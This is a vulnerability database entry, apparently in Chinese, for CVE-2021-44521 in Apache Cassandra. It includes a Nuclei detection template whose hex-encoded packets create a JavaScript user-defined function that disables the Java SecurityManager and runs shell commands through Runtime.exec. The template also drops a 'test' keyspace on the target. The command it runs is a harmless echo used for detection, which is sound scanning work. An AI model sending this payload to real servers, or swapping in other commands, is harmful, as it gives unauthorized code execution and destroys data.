Apache Cassandra Load UDF RCE

漏洞信息

漏洞名称： Apache Cassandra Load UDF RCE

漏洞编号：

  • CVE： CVE-2021-44521

漏洞类型： 命令执行

漏洞等级： 严重

漏洞描述： Apache Cassandra是一个高度可扩展的分布式NoSQL数据库系统，广泛用于处理大量数据的企业级应用中。它支持跨多数据中心的高可用性和无单点故障的设计，被许多大型组织用于关键业务操作。此漏洞影响那些启用了用户定义函数（UDF）的Apache Cassandra实例，特别是当配置为enable_user_defined_functions: true、enable_scripted_user_defined_functions: true和enable_user_defined_functions_threads: false时。攻击者需要具备在集群中创建用户定义函数的足够权限才能利用此漏洞。漏洞的技术根源在于不当的配置允许执行任意代码，这属于命令执行漏洞。成功利用此漏洞的攻击者可以以Cassandra进程的权限执行任意代码，可能导致受影响系统的完全被控制。由于攻击需要特定权限，因此不是所有配置都会受到影响，但一旦被利用，后果极为严重。

产品厂商： apache

产品名称： cassandra

影响版本： 3.0.x < 3.0.26, 3.11.x < 3.11.12, 4.0.x < 4.0.2

搜索语法： cpe:”cpe:2.3:a:apache:cassandra”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/64a64b0937e369fef2cb769b4e48757616ecce15/network%2Fcves%2F2021%2FCVE-2021-44521.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

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id: CVE-2021-44521

info:
  name: Apache Cassandra Load UDF RCE
  author: Y4er, NaN@korelogic
  severity: critical
  description: 'When running Apache Cassandra with the following configuration: enable_user_defined_functions: true enable_scripted_user_defined_functions: true enable_user_defined_functions_threads: false it is possible for an attacker to execute arbitrary code on the host. The attacker would need to have enough permissions to create user defined functions in the cluster to be able to exploit this. Note that this configuration is documented as unsafe, and will continue to be considered unsafe after this CVE.'
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code with the privileges of the Cassandra process, potentially leading to a complete compromise of the affected system.
  remediation: 3.0.x users should upgrade to 3.0.26, 3.11.x users should upgrade to 3.11.12, 4.0.x users should upgrade to 4.0.2
  reference:
    - https://y4er.com/post/cve-2021-44521-apache-cassandra-udf-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44521
    - https://jfrog.com/blog/cve-2021-44521-exploiting-apache-cassandra-user-defined-functions-for-remote-code-execution/
    - https://lists.apache.org/thread/y4nb9s4co34j8hdfmrshyl09lokm7356
    - http://www.openwall.com/lists/oss-security/2022/02/11/4
    - https://thesecmaster.com/how-to-fix-apache-cassandra-rce-vulnerability-cve-2021-44521/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2021-44521
    cwe-id: CWE-732,CWE-94
    epss-score: 0.91865
    epss-percentile: 0.99680
    cpe: cpe:2.3:a:apache:cassandra:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: cassandra
    shodan-query: cpe:"cpe:2.3:a:apache:cassandra"
  tags: cve,cve2021,network,rce,apache,cassandra,tcp
tcp:
  - host:
      - "{{Hostname}}"
      - "{{Host}}:{{Port}}"
    inputs:
      - data: "050000000500000000"
        type: hex
        read: 1024

      - data: "0500000101000000530003000b4452495645525f4e414d450016446174615374617820507974686f6e20447269766572000e4452495645525f56455253494f4e0006332e32352e30000b43514c5f56455253494f4e0005332e342e35"
        type: hex
        read: 1024

      - data: "3e000218aeb50500000307000000350000001d64726f70204b455953504143452049462045584953545320746573743b0001000000340000006400080005d82cc8ca0e4fcdde8c0a"
        type: hex
        read: 1024

      - data: "7f0002a6a69f0500000407000000760000005e435245415445204b4559535041434520746573742057495448207265706c69636174696f6e203d207b27636c617373273a202753696d706c655374726174656779272c20277265706c69636174696f6e5f666163746f7227203a20317d3b0001000000340000006400080005d82cc8ca390f0ddce06b"
        type: hex
        read: 1024

      - data: "7d000296664f0500000807000000740000005c435245415445205441424c4520746573742e7263652028636d642076617263686172205052494d415259204b455929205749544820636f6d6d656e743d27496d706f7274616e742062696f6c6f676963616c207265636f726473273b0001000000340000006400080005d82cc8cb2fc161951510"
        type: hex
        read: 1024

      - data: "1c030291ff34050000100700000313000002fb637265617465206f72207265706c6163652046554e4354494f4e20746573742e657865632820636d64207465787420290d0a2020202052455455524e53204e554c4c204f4e204e554c4c20494e5055540d0a2020202052455455524e5320746578740d0a202020204c414e4755414745206a6176617363726970740d0a2020202041532024240d0a202020207661722053797374656d203d204a6176612e7479706528226a6176612e6c616e672e53797374656d22293b53797374656d2e73657453656375726974794d616e61676572286e756c6c293b0d0a202020207661722065203d746869732e656e67696e652e666163746f72792e736372697074456e67696e652e6576616c2827766172206f736e616d65203d206a6176612e6c616e672e53797374656d2e67657450726f706572747928226f732e6e616d6522293b6f736e616d65203d206f736e616d652e746f4c6f7765724361736528293b7661722073706c6974203d206f736e616d652e73746172747357697468282277696e2229203f20222f6322203a20222d63223b76617220636d6450617468203d206f736e616d652e73746172747357697468282277696e2229203f2022636d6422203a202262617368223b76617220636f6d6d616e64203d2022272b636d642b27223b7661722073203d205b636d64506174682c2073706c69742c20636f6d6d616e645d3b70203d206a6176612e6c616e672e52756e74696d652e67657452756e74696d6528292e657865632873293b766172206272203d206e6577206a6176612e696f2e4275666665726564526561646572286e6577206a6176612e696f2e496e70757453747265616d52656164657228702e676574496e70757453747265616d282929293b766172207265733d22223b7768696c652028286c203d2062722e726561644c696e6528292920213d206e756c6c29207b202020207265732b3d6c3b7265732b3d6a6176612e6c616e672e53797374656d2e6c696e65536570617261746f7228293b7d27293b0d0a20202020653b0d0a2020202024243b0001000000340000006400080005d82cc8cc7ece89646c85"
        type: hex
        read: 1024

      - data: "51000278033505000014070000004800000030696e7365727420696e746f20746573742e72636528636d64292076616c75657328276563686f2031323331323327293b0001000000340000006400080005d82cc8cd5b810ef0b16e"
        type: hex
        read: 1024

      - data: "450002bff1d805000015070000003c0000002473656c65637420746573742e6578656328636d64292066726f6d20746573742e7263653b0001000000340000006400080005d82cc8cd99d444271281"
        type: hex
        read: 1024

      - data: "3e000218aeb50500000307000000350000001d64726f70204b455953504143452049462045584953545320746573743b0001000000340000006400080005d82cc8ca0e4fcdde8c0a"
        type: hex
        read: 1024
    matchers:
      - type: word
        part: raw
        words:
          - "123123"
# digest: 4a0a00473045022100d0837ea19e76ae9fbddc08aea0ca103b39a3a004d0187d46bd75cc9f605c75fd022040ec326b0cfefa5b5ac2b13274061045378dc958a1eaf77b97aa3b57a4456a75:922c64590222798bb761d5b6d8e72950